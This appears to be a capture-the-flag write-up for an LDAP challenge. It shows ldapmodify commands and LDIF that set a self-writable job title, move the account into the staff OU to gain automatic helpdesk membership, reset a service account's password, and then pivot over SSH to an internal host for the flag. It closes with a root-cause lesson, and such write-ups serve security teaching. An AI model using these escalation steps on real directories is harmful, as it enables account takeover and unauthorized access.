Self-service

Abuse LDAP attribute-driven group "provisioning" → reset `ops`'s password → pivot

2026.09.30 NNS CTF 2026 103 pts devsecops
FLAG NNS{a_J0B_t17le_1s_Not_an_aCce5s_CoNtro1_b0unDary_4ND_aPPar3n71Y_tHeR3_are_4c7Ual_0r65_th47_D0_5tUPiD_5hi7_l1Ke_7H1s}

Author: 0xle Points: 103 Flag: NNS{a_J0B_t17le_1s_Not_an_aCce5s_CoNtro1_b0unDary_4ND_aPPar3n71Y_tHeR3_are_4c7Ual_0r65_th47_D0_5tUPiD_5hi7_l1Ke_7H1s}

Description

You are our brand new contractor at NNS corp! You have been given a user account: ereid:Summer2026. Welcome on board!

SSH is exposed over TLS: ssh -o ProxyCommand='openssl s_client -quiet -connect %h:%p' ereid@HOST -p 1337

Recon

Logging in drops into a PowerShell 7.4.6 session with a custom module already loaded:

Directory self-service loaded. Get-Command -Module SelfService

Get-Module SelfService | Format-List * dumps the full module source (/opt/corp/SelfService.psm1). It talks to an LDAP directory at ldap://dir:3389, base dc=corp,dc=nns, and exports three functions:

  • Get-MyDn — finds your own DN via ldapsearch (uid=$env:USER) dn.
  • Get-MyDirectoryEntry [-RightsOnly] — searches your own DN with OpenLDAP’s Get Effective Rights control (1.3.6.1.4.1.42.2.27.9.5.2), showing exactly which attributes you can read/write on yourself.
  • Set-MyDirectoryAttribute -Name X -Value Y — runs ldapmodify to replace one attribute on your own entry, authenticated as yourself.

Rather than fight PowerShell/PSReadLine over the SSH pipe (it crashes with a DivideByZeroException when the remote pty reports 0x0 dimensions from a non-interactive script), it’s much easier to skip the module entirely and run ldapsearch/ldapmodify/ldapwhoami directly as a non-interactive SSH command (ssh ... "ldapsearch ..."), using our own known password — this avoids Get-Credential’s secure prompt altogether.

Mapping the directory

ldapsearch -x -LLL -H ldap://dir:3389 -D <ereid-dn> -w Summer2026 \
  -b dc=corp,dc=nns '(objectClass=*)' dn uid cn

Structure:

  • ou=staff — permanent employees (dhale, agrant, rkeller, mfaris, bwhitby, cnovak, pdelgado, and the service account ops).
  • ou=contractorsjmarsh, swalsh, and us (ereid).
  • ou=groupshelpdesk, all-staff, vpn-users, onboarding-agents (groupOfNames, membership via a static member attribute).

Our own entry (via Get-MyDirectoryEntry -RightsOnly) shows attributeLevelRights including title:rscwo, displayName:rscwo, description:rscwo, etc. — a normal “self-service HR fields” ACL — plus memberOf: cn=vpn-users, memberOf: cn=onboarding-agents.

Dumping every aci attribute in the tree (readable by anyone per an “Access rule review” ACI) gives the full rule set. The interesting ones:

aci: (targetattr="userPassword")(...)
     allow (write) groupdn = "ldap:///cn=helpdesk,ou=groups,dc=corp,dc=nns";
     # on uid=ops,ou=staff — helpdesk members can reset the ops password

aci: (targetattr="member")(...)
     deny (write) userdn = "ldap:///anyone";
     # nobody can add themselves to a group's member list directly

aci: (targetattr="uid")(targattrfilters="add=uid:(!(uid=ops)), del=uid:(!(uid=ops))")(...)
     allow (write) groupdn = "ldap:///cn=onboarding-agents,...";
     # onboarding-agents can rewrite the uid (naming attribute) of an
     # onboarding entry, EXCEPT they're explicitly blocked from ever
     # adding/removing the literal value "ops" — closing the obvious
     # "just claim uid=ops on myself" trick

aci: (target_from="ldap:///ou=contractors,...")(target_to="ldap:///ou=staff,...")(...)
     allow (moddn) groupdn = "ldap:///cn=onboarding-agents,...";
     # onboarding-agents can MODDN (move) an entry from contractors to staff

We (ereid) are a member of cn=onboarding-agents (“Contractor onboarding coordinators. May move contractor accounts into ou=staff when they convert to permanent.”) — so we hold both of the last two rights on our own account.

Also worth noting: our own entry already had pre-seeded, subtyped uid;x-temp: ops / uid;lang-en: ops values and a second plain uid: test999 — a hint/red herring pointing straight at the (correctly blocked) uid-collision idea, before finding the actual bug.

The actual bug: attribute-driven group “provisioning”

cn=helpdesk’s description reads: “First-line IT support. Members are provisioned automatically from HR attributes.” Checking its three real members’ title:

agrant   -> Platform Engineer
cnovak   -> Platform Engineer
pdelgado -> Platform Engineer

Every other staff member has a different exact title (IT Manager, Site Reliability Engineer, HR Advisor, even Senior Platform Engineer for bwhitby — close but not an exact match, and not a helpdesk member). ou=staff’s own description: “Permanent employees. Synced from HR.”

So: membership in helpdesk is derived automatically from title == "Platform Engineer", but only re-evaluated for entries under ou=staff. We can freely write our own title (self-service ACI), and separately we can moddn ourselves from ou=contractors into ou=staff (onboarding ACI). Neither alone breaks anything — combined, they do:

# 1. Set our title to match the helpdesk pattern
$dn = "uid=ereid,ou=contractors,dc=corp,dc=nns"
$ldif = "dn: $dn`nchangetype: modify`nreplace: title`ntitle: Platform Engineer`n"
$ldif | ldapmodify -x -H ldap://dir:3389 -D $dn -w Summer2026

# 2. Move ourselves from contractors to staff (uses the onboarding-agents moddn right)
$ldif2 = "dn: $dn`nchangetype: modrdn`nnewrdn: uid=ereid`ndeleteoldrdn: 0`nnewsuperior: ou=staff,dc=corp,dc=nns`n"
$ldif2 | ldapmodify -x -H ldap://dir:3389 -D $dn -w Summer2026

Querying our own memberOf immediately afterward (no waiting — it’s a live directory-side trigger, not a cron job):

dn: uid=ereid,ou=staff,dc=corp,dc=nns
memberOf: cn=helpdesk,ou=groups,dc=corp,dc=nns

We’re in helpdesk. The “membership set by provisioning only” ACI that blocks direct writes to member says nothing about how the provisioning process itself decides membership — and that process trusts a self-writable HR attribute.

Cashing in: reset ops’s password

$dn = "uid=ereid,ou=staff,dc=corp,dc=nns"          # now a helpdesk member
$opsdn = "uid=ops,ou=staff,dc=corp,dc=nns"
$ldif = "dn: $opsdn`nchangetype: modify`nreplace: userPassword`nuserPassword: HackedByEreid123!`n"
$ldif | ldapmodify -x -H ldap://dir:3389 -D $dn -w Summer2026

Succeeds — confirmed instantly with ldapwhoami -D $opsdn -w 'HackedByEreid123!'.

Pivoting to the flag

ops’s gecos reads “Operations service account (backup/restore on srv2)”, and /etc/hosts on the jump box lists an internal host srv2 (172.20.29.22) not reachable from outside. Direct ssh ops@<jump> fails — the jump box’s sshd apparently isn’t meant for interactive ops logins — but from inside the jump box we can reach srv2 directly:

# proxy_to_jump.sh: authenticate to the TLS-wrapped jump host as ereid,
# then -W forwards a raw TCP stream to srv2:22 (handled by sshd itself,
# independent of ereid's PowerShell login shell)
exec sshpass -p 'Summer2026' ssh -o StrictHostKeyChecking=no \
  -o 'ProxyCommand=openssl s_client -quiet -connect <chall-host>:1337' \
  ereid@HOST -p 1337 -W srv2:22

sshpass -p 'HackedByEreid123!' ssh -o "ProxyCommand=./proxy_to_jump.sh" \
  ops@srv2 "cat /home/ops/flag.txt"

(The very first attempt or two after the password reset got Permission denied — looks like nslcd’s cache on srv2 needed a few seconds/one retry to pick up the new userPassword — a couple of retries and it went through.)

uid=5010(ops) gid=5000(corp) groups=5000(corp)
NNS{a_J0B_t17le_1s_Not_an_aCce5s_CoNtro1_b0unDary_4ND_aPPar3n71Y_tHeR3_are_4c7Ual_0r65_th47_D0_5tUPiD_5hi7_l1Ke_7H1s}

Root cause / takeaway

  • Directory ACLs correctly locked down the direct privilege-escalation paths people usually reach for (can’t add yourself to a group’s member list, can’t rename yourself to the protected uid=ops identity).
  • But a downstream automated process re-derived group membership from a self-writable, free-text attribute (title) with no validation that the writer is actually authorized to hold that job title. Whoever wrote that sync trusted HR-looking data that, per the ACIs, literally anyone can self-service edit.
  • Lesson (per the flag): a job title is not an access control boundary. Any authorization decision derived from attacker-writable directory attributes is only as strong as the ACL on that attribute — not on whatever group/role it happens to map to downstream.
#ldap